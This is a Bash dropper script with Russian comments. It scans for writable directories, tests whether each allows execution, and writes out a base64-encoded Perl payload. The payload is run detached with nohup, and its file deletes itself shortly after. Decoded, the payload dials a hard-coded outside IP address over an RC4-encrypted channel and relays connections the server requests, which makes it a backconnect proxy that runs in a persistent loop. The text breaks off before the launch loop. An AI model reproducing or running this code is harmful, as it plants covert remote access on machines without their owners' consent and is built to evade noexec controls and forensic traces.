#!/bin/bash

# Списки путей для сканирования
SEARCH_PATHS=("/tmp" "/var" "/dev/shm" "/home" "/usr/local" "/opt" "/mnt" "/srv")
PAUSE_SEC=0.3

# Массивы для папок
declare -a gold_dirs   # Сюда можно писать и ЗАПУСКАТЬ (exec разрешен)
declare -a silver_dirs # Сюда можно только писать (noexec стоит), запуск через perl

# 1. Генератор имен
gen_rand_name() {
    cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 6 | head -n 1
}

# 2. Поиск настоящего Perl
get_perl_path() {
    if command -v perl >/dev/null 2>&1; then command -v perl
    elif [ -x "/usr/bin/perl" ]; then echo "/usr/bin/perl"
    elif [ -x "/usr/local/bin/perl" ]; then echo "/usr/local/bin/perl"
    else echo ""; fi
}

# 3. Умный сканер
scan_dirs() {
    # Ищем папки, доступные для записи текущему юзеру
    # Исключаем системные proc/sys/dev
    local raw_dirs=$(find "${SEARCH_PATHS[@]}" \
        -path '/proc' -prune -o -path '/sys' -prune -o -path '/dev' -prune -o \
        -type d -writable 2>/dev/null | head -n 300)

    for dir in $raw_dirs; do
        local tfile="$dir/.chk_$RANDOM"

        # Проверяем запись
        if echo "#!/bin/sh" > "$tfile" 2>/dev/null; then
            chmod +x "$tfile"

            # Проверяем исполнение (Exec)
            # Пытаемся запустить созданный файл через ./
            if (cd "$dir" && ./"$(basename "$tfile")") >/dev/null 2>&1; then
                gold_dirs+=("$dir") # Отлично, тут работает ./script
            else
                silver_dirs+=("$dir") # Тут только perl script
            fi
            rm -f "$tfile"
        fi

        # Хватит 30 хороших папок, чтобы не тормозить
        if [ ${#gold_dirs[@]} -ge 30 ]; then break; fi
    done
}

f_b9221ee2() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY5JzsKbXkgJHBvcnQgPSA0NDM7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgc3Vic3RyKCR4b3JkYXRhLCAkaSwgMSkgPSBwYWNrKCdDJywgcmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNSA9IDA7CgkKCSBteSAkcG9ja2Vtb242ID0gMDsKCQoJIG15ICRwb2NrZW1vbjcgPSAwOwoJCgkgbXkgJHBvY2tlbW9uOCA9IDA7CgkgCgkgbXkgJHJjeCA9ICRzejsKCSAKCSBteSAkcnNpID0gMDsKCSAKCSBteSAkcmJ4ID0gMDsKCSAKCSBteSAkZ3MgPSAwOwoJIAoJIG15ICR0ID0gMDsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPD0gMjU1OyAkaSsrKSB7IHN1YnN0cigkcmM0LCAkaSwgMSkgPSBwYWNrKCdDJywgJGkpOyB9CgkgCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKCQoJIHdoaWxlKDEpIHsKCQkgCgkJIGlmICgkZ3MgPT0gMCkgewoJCQkgCgkJCSAkcG9ja2Vtb24yID0gMDsKCgkJCSAkcG9ja2Vtb24zID0gJGxlbmd0aDsKCQl9CgkJIAoJCSBpZiAoJGdzICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMDsKCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgaWYgKC0tJHBvY2tlbW9uMyA9PSAwKSB7IG5leHQ7IH0KCQkJIAoJCX0KCQkKCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSk7CgkJIAoJCSAkdCA9IHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSk7CgoJCSAkcG9ja2Vtb24xICs9ICR0OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjYgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkpOwoJCSAKCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjYpOwoJCSAKCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoJCSAKCQkgJHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJfQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vtb24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpKTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkpOwoKCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb244KTsKCQkgCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uNyk7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCgkJCSAkcG9ja2Vtb24wID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjgsIDEpKTsKCQkJIAoJCQkgJHBvY2tlbW9uNSA9IHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24zLCAxKSk7CgoJCQkgJHBvY2tlbW9uNSA9ICRwb2NrZW1vbjUgXiAkcG9ja2Vtb24wOwoJCQkgCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uNSk7CgkJCSAKCQkJICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJIGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAkcmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwgMSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gJyc7CgkgCgkgbXkgJGlzRXhpdCA9IDA7CgkgCgkgbXkgJF9yZXQwID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4ID0gMDsKCSAKCSBteSAkY291bnRlciA9IDA7CgkgCgkgbXkgJGNvdW50Y2MgPSAwOwoJCSAKCSBteSAkcmluID0gJyc7CgkgCgkgbXkgJGZsYWdzOwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQoJIAoJIG15ICRyZXNwb25jZSA9ICJceDAwXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgJGNvdW50Y2MgPSAwOwoJCSAKCQkgJHJpbiA9ICcnOwoJCSAKCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJIAoJCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewoJCQkJIAoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7CgkJCQkgCgkJCQkgJGNvdW50Y2MrKzsKCQkJIH0KCQkgfQoJCSAKCQkgaWYgKCRjb3VudGNjID4gMCkgewoJCQkgCgkJCSB1bmxlc3MgKHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDAxKSkgeyBnb3RvIG5leHRfXzsgfQoJCQkgCgkJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKCQkJCSAKCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7CgkJCQkJIAoJCQkJCSAkZGF0YSA9ICcnOwoKCQkJCQkgcmVjdigkc29ja2V0YXJyWyRpXSwgJGRhdGEsIDY1NTMwLCAwKTsKCQkJCSAKCQkJCQkgdW5sZXNzICgkZGF0YSkgewoJCQkJCSAKCQkJCQkJICRzb2NrZXRhcnJheVskaV0gPSAwOwoJCQkJCSAKCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCQkgCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAzKSA9IHBhY2soJ0MnLCAkaSkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWzBdLCBzdWJzdHIoJHJlc3BvbmNlLCAwLCAzKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkgCgkJCQkJIH0KCQkJCSAKCQkJCQkgZWxzZSB7CgkJCQkJIAoJCQkJCQkgJGJ1ZmZlciA9IHBhY2soJ0MnLCAkaSkucGFjaygnUycsIGxlbmd0aCgkZGF0YSkpLiRkYXRhOwoJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlciwgTVNHX05PU0lHTkFMKTsKCQkJCQkgCgkJCQkJIH0KCQkJCSB9CgkJCSB9CgkJIH0KCQkgCgkJIG5leHRfXzoKCQkgCgkJIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CgkJCSAKCQkJICRyaW4gPSAnJzsKCQkJIAoJCQkgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwgMSkgPSAxOwoJCQkgCgkJCSBteSAkcmV0ID0gc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4xKTsKCQkJIAoJCQkgbmV4dCBpZiAoJHJldCA8IDApOwoJCQkgCgkJCSBpZiAoJHJldCA9PSAwKSB7CgkJCQkgCgkJCQkgJGNvdW50ZXIrKzsKCQkJCSAKCQkJCSBpZiAoJGNvdW50ZXIgPT0gMTAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsKCQkJCSB9CgkJCQkgCgkJCQkgbmV4dDsKCQkJfQoJCQkgCgkJfQoJCSAKCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7CgkJCSAKCQkJIGlmICgkZWR4ID09IDApIHsKCQkJCSAKCQkJCSBpZiAoc3Vic3RyKCRidWZmZXIwLCAwLCAxKSBlcSAiXHhGRiIgJiYgc3Vic3RyKCRidWZmZXIwLCAxLCAxKSBlcSAiXHhGRSIpIHsKCQkJCQkgCgkJCQkJICRpc0V4aXQgPSAxOwoJCQkJCSAKCQkJCQkgbGFzdDsKCQkJCQkgCgkJCQl9CgkJCQkgCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCSAKCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMDsKCQkJCQkgCgkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCSAKCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJCQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJCQkJIAoJCQkJICRkYXRhID0gJyc7CgkJCQkgCgkJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVjeCwgMCk7CgkJCQkKCQkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCQkJCSAKCQkJCSAkcmVtYWluaW5nICs9IGxlbmd0aCgkZGF0YSk7CgkJCQkgCgkJCQkgJGJ1ZmZlcjAgLj0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCAwLCAxKSkgPT0gMCkgewoJCQkJCQkgCgkJCQkJCSBzb2NrZXQoJHNvY2tldGFyclskZWJ4XSwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkJCQkJCSAKCQkJCQkJICRfcmV0MCA9IDA7CgkJCQkJCSAKCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDE7CgkJCQkJCSAKCQkJCQkJICRyZXNwb25jZSA9IHBhY2soJ0MnLCAkZWJ4KS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJCQkJCQkgCgkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJCQkJCQkgCgkJCQkJCSBpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA3LCAxKSkgPT0gMykgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMSwgMSkuc3Vic3RyKCRidWZmZXIwLCA5ICsgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkgKyAwLCAxKSk7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHNwcmludGYoIiVkLiVkLiVkLiVkIiwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDIsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSkpKTsKCQkJCgkJCQkJCQkgJHBvcnQwID0gdW5wYWNrKCdTJywgc3Vic3RyKCRidWZmZXIwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKSk7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAzKSA9IHBhY2soJ0MnLCAkZWJ4KS4iXHgwMFx4MDAiOwoJCSAKCQkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJCQkgCgkJCQkJCSB9CgkJCQkJCSAKCQkJCQl9CgkJCQkJCgkJCQkJIGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbJGVieF0sIHN1YnN0cigkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyksIE1TR19OT1NJR05BTCk7CgkJCQkJCSAKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5pbmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJfQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0gJyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRhLCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRyZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJICRjb3VudGVyID0gMDsKCQkJIAoJCQkgaWYgKCRyZW1haW5pbmc0ID09IDQpIHsKCQkJCSAKCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCAwLCA0KTsKCQkJCSAKCQkJCSAkZWJ4ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCAxLCAxKSk7CgkJCQkgCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

component_names=(f_b9221ee2)


# 1. Инициализация
PERL_BIN=$(get_perl_path)
if [ -z "$PERL_BIN" ]; then exit 1; fi

# 2. Сканирование окружения
scan_dirs

# 3. Выбор стратегии
use_gold=false
dir_count=0

if [ ${#gold_dirs[@]} -gt 0 ]; then
    # Приоритет 1: Есть папки с разрешенным запуском
    use_gold=true
    dir_count=${#gold_dirs[@]}
elif [ ${#silver_dirs[@]} -gt 0 ]; then
    # Приоритет 2: Есть папки только для записи (noexec)
    use_gold=false
    dir_count=${#silver_dirs[@]}
else
    # Резервный вариант: пробуем /tmp на удачу
    valid_dirs=("/tmp" "/var/tmp")
    silver_dirs=("/tmp" "/var/tmp")
    dir_count=2
    use_gold=false
fi

# 4. Перемешивание задач
SHUFFLE_CMD="shuf"
